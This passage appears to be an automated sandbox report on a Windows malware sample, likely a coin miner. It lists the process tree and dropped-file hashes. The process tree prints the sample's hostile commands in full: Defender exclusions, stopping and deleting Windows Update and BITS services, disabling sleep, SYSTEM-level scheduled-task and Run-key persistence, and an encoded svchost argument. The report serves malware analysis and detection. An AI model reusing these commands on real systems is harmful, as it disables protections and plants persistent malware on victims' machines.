- Suspicious use of WriteProcessMemory
PID:1504 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn WindowsHost3⤵PID:4032
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4912
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2640 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:5056
-
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:3492
-
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:940
-
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:3332
-
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:4632
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:4192
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:2220
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵PID:4228
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:5104
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:3188
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
PID:592 -
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵PID:3572
-
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵PID:2928
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵PID:2116
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵PID:3360
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nugixlm#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsHost' /tr '''C:\Program Files\Windows\WindowsHost''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Windows\WindowsHost') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsHost' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsHost" /t REG_SZ /f /d 'C:\Program Files\Windows\WindowsHost' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4292
-
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe yadsrbyzjoct2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:960
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:1520 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵PID:524
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:1864
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe hfskhxmdoncbxhsb 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2⤵
- Suspicious behavior: EnumeratesProcesses
PID:412
-
-
C:\Program Files\Windows\WindowsHost"C:\Program Files\Windows\WindowsHost"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:5096
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
-
Filesize
9.4MB
MD5bf41699ea8e7a4ddc8989a616909c05d
SHA11f39ca29bec36d9971fd67a04e48108afa487b39
SHA256ef351d1015aeebc0983a645de1e76d10aba040bff485ac82faed27c9445d2fe1
SHA51272e36bd0b99fa346f18589e24e8036811c5d76b3ecb6124428798cc64df1c2b0471934f61046bd8e6776296188e7db4461a8c1f51fec1899916aeafab4ce2634
-
Filesize
9.4MB
MD5bf41699ea8e7a4ddc8989a616909c05d
SHA11f39ca29bec36d9971fd67a04e48108afa487b39
SHA256ef351d1015aeebc0983a645de1e76d10aba040bff485ac82faed27c9445d2fe1
SHA51272e36bd0b99fa346f18589e24e8036811c5d76b3ecb6124428798cc64df1c2b0471934f61046bd8e6776296188e7db4461a8c1f51fec1899916aeafab4ce2634
-
Filesize
3KB
MD5ad5cd538ca58cb28ede39c108acb5785
SHA11ae910026f3dbe90ed025e9e96ead2b5399be877
SHA256c9e6cb04d6c893458d5a7e12eb575cf97c3172f5e312b1f63a667cbbc5f0c033
SHA512c066c5d9b276a68fa636647bb29aea05bfa2292217bc77f5324d9c1d93117772ee8277e1f7cff91ec8d6b7c05ca078f929cecfdbb09582522a9067f54740af13
-
Filesize
16KB
MD5bd0b4ae7e3ed2099bb25465b45fcbf49
SHA163f95e7b6e7563045452357df06339c41d91a6d6
SHA25658b774bb420382d9bb3016fb7f039886a8568c93c2c09c08b3b26393f580cb9a
SHA512d380bee666a044b895a53a8e2d6e620048fbb3258473d2ce4c6f3df46abed7cf919a1714e4f8b0a35c7e62747cbd6da6f744e4b5cb35136fd67d804e298c1fe4
-
Filesize
1KB
MD5ed40265bc41f67f9b43ab9af4c778fc4
SHA182dc7e119ee84c74e7993bb18a516f669394b03b
SHA2565c9eff5fa774ccf71f6c628402290a097e29c1aca175d577f2d38d2100fa0a3b
SHA51274e2b7cd6340ed11a4ac2155b990664054ae1b182461cef9121299db97b2700949faf3978693abcac3e7e2b79d441a325ce0de79420ae53e86400261b6264990
-
Filesize
1KB
MD55e51717fdd25d6eed0d48cd8ff4b2961
SHA1fd16ded3eda88a86b6e9654fff829cef01cb00af
SHA256a6bec2c9e3362d7cb9ca8bb3cf6922ce6a75bfbc11dc352d949476e6522e741a
SHA5127ffc27dfebde4dcff968964b59f474711a9a98ecd6474f621e0ca6da4d2d6342fd7c4dcd5caed68823a2eaf5db0821c41d9dab07273d184885bc58f510060fa7
-
Filesize
9.4MB
MD5bf41699ea8e7a4ddc8989a616909c05d
SHA11f39ca29bec36d9971fd67a04e48108afa487b39
SHA256ef351d1015aeebc0983a645de1e76d10aba040bff485ac82faed27c9445d2fe1
SHA51272e36bd0b99fa346f18589e24e8036811c5d76b3ecb6124428798cc64df1c2b0471934f61046bd8e6776296188e7db4461a8c1f51fec1899916aeafab4ce2634
-
Filesize
9.4MB
MD5bf41699ea8e7a4ddc8989a616909c05d
SHA11f39ca29bec36d9971fd67a04e48108afa487b39
SHA256ef351d1015aeebc0983a645de1e76d10aba040bff485ac82faed27c9445d2fe1
SHA51272e36bd0b99fa346f18589e24e8036811c5d76b3ecb6124428798cc64df1c2b0471934f61046bd8e6776296188e7db4461a8c1f51fec1899916aeafab4ce2634
-
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize3KB
MD5573d77d4e77a445f5db769812a0be865
SHA17473d15ef2d3c6894edefd472f411c8e3209a99c
SHA2565ec3f268845a50e309ae0d80bcee4f4dd4cd1b279ab1e64b523a057c11074f1c
SHA512af2422a9790a91cdcbe39e6ef6d17899c2cbd4159b1b71ac56f633015068d3afc678fcef34892575bf59bdf7d5914ec6070864940d44130263fe84e28abba2dc
-
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5631f4b3792b263fdda6b265e93be4747
SHA11d6916097d419198bfdf78530d59d0d9f3e12d45
SHA2564e68d2d067c5680a2e55853ac58b16f199b09f1b9e5f2174605fff18da828976
SHA512e0280041c4ca63971ab2524f25d2047820f031c1b4aeb6021a3367297045ddf6616ffccafb54630eb07fd154571d844329ebcc34d6ce64834cb77cba373e4fbe